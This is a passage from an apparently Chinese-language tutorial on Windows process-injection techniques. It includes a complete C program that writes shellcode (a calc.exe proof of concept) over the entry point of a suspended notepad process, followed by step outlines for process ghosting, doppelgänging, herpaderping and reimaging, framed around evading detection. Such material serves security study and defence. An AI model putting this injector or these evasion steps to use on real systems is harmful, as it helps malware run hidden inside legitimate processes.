  2. 通过 NtQueryInformationProcess 查询进程相关信息,例如 PEB 地址。
  3. 通过 ReadProcessMemory 读取解析 PE 的所需数据,利用解析 PE 结构的方法,最终获得主模块入口地址
  4. 使用 WriteProcessMemory 将 shellcode 写入程序入口处
  5. 调用 ResumeThread 继续线程的执行

需要注意的是,尽管我们没有分配 RWX 权限的空间,但是 WriteProcessMemory 会临时地将 .text 节的 RX 权限更改为 RWX 权限,依旧可能被检测到。

代码如下:

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(STARTUPINFOA);
    PROCESS_INFORMATION pi = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG returnLength = 0;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\windows\\system32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed. Error: %lu\n", GetLastError());
        return 1; 
    }

    NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
    if (status != 0) {
        printf("NtQueryInformationProcess failed. Status: 0x%x\n", status);
        return 1;
    }

    printf("PEB Address: %p\n", pbi.PebBaseAddress);
    PVOID imageBaseAddress;
    SIZE_T bytesRead;
    if (!ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress, sizeof(PVOID), &bytesRead)) {
        printf("ReadProcessMemory (image base address) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Image Base Address: %p\n", imageBaseAddress);

    BYTE headersBuffer[4096];
    if (!ReadProcessMemory(pi.hProcess, imageBaseAddress, headersBuffer, sizeof(headersBuffer), NULL)) {
        printf("ReadProcessMemory (headers) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dosHeader + dosHeader->e_lfanew);
    DWORD entryPointRVA = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    PVOID entryPointVA = (PBYTE)imageBaseAddress + entryPointRVA;
    printf("Entry Point Address: %p\n", entryPointVA);

    if (!WriteProcessMemory(pi.hProcess, entryPointVA, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(pi.hThread) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    return 0;
}

这样,我们就得以在良性进程下运行 shellcode 了:

image.png


鬼影进程

流程
  1. 创建一个新文件
  2. 通过使用NtSetInformationFile 函数将文件设置为删除中的状态 Put the file into a delete-pending state using NtSetInformationFile(FileDispositionInformation). Note: Attempting to use FILE_DELETE_ON_CLOSE instead will not delete the file.
  3. 将载荷写入文件。内容是非持久性的因为文件已经是删除中的状态,而且外部无法获得对该文件的句柄。Write the payload executable to the file. The content isn’t persisted because the file is already delete-pending. The delete-pending state also blocks external file-open attempts.
  4. 为文件创建映像节Create an image section for the file.
  5. 关闭句柄,删除文件Close the delete-pending handle, deleting the file.
  6. 使用映像节来创建进程Create a process using the image section.
  7. 赋予进程参数和环境变量Assign process arguments and environment variables.
  8. 创建进程在进程下进行Create a thread to execute in the process.

https://github.com/hasherezade/process_ghosting

https://github.com/Wra7h/SharpGhosting/tree/main

https://github.com/dosxuz/ProcessGhosting


双重进程

双重进程,即 process doppelgänging。Windows Transactional NTFS (TxF),即事务 NTFS, 是 Vista 中引入的一种执行安全文件操作的方法。为了确保数据完整性,TxF 在给定时间仅允许一个事务处理句柄写入文件。直到写入句柄事务终止,所有其他事务处理都将被终止。句柄与写入器隔离,并且只能读取打开句柄时存在的文件的已提交版本。为了避免损坏,如果系统或应用程序在写入事务期间发生故障,TxF 会执行自动回滚。尽管已弃用,但从 Windows 10 开始,TxF 应用程序编程接口 (API) 仍然启用。

攻击者可能会利用 TxF 来执行进程注入的无文件变体。与 Process Hollowing 类似,进程 doppelgänging 涉及替换合法进程的内存,从而能够隐藏执行可能逃避防御和检测的恶意代码。进程 doppelgänging 的使用TxF 还避免使用高度监控的 API 函数,例如 NtUnmapViewOfSection、VirtualProtectEx 和 SetThreadContext。

流程 Doppelgänging 分 4 个步骤实施:

  1. Transact – 使用合法的可执行文件创建 TxF 交易,然后用恶意代码覆盖该文件。这些更改将被隔离,并且仅在交易上下文中可见。
  2. 加载 – 创建内存共享部分并加载恶意可执行文件。
  3. 回滚 – 撤消对原始可执行文件的更改,有效地从文件系统中删除恶意代码。
  4. Animate – 从内存的受污染部分创建一个进程并启动执行。

https://github.com/hasherezade/process_doppelganging


赫尔帕德平进程

https://github.com/jxy-s/herpaderping


进程重映像

https://www.elastic.co/cn/blog/process-ghosting-a-new-executable-image-tampering-attack

https://github.com/djhohnstein/ProcessReimaging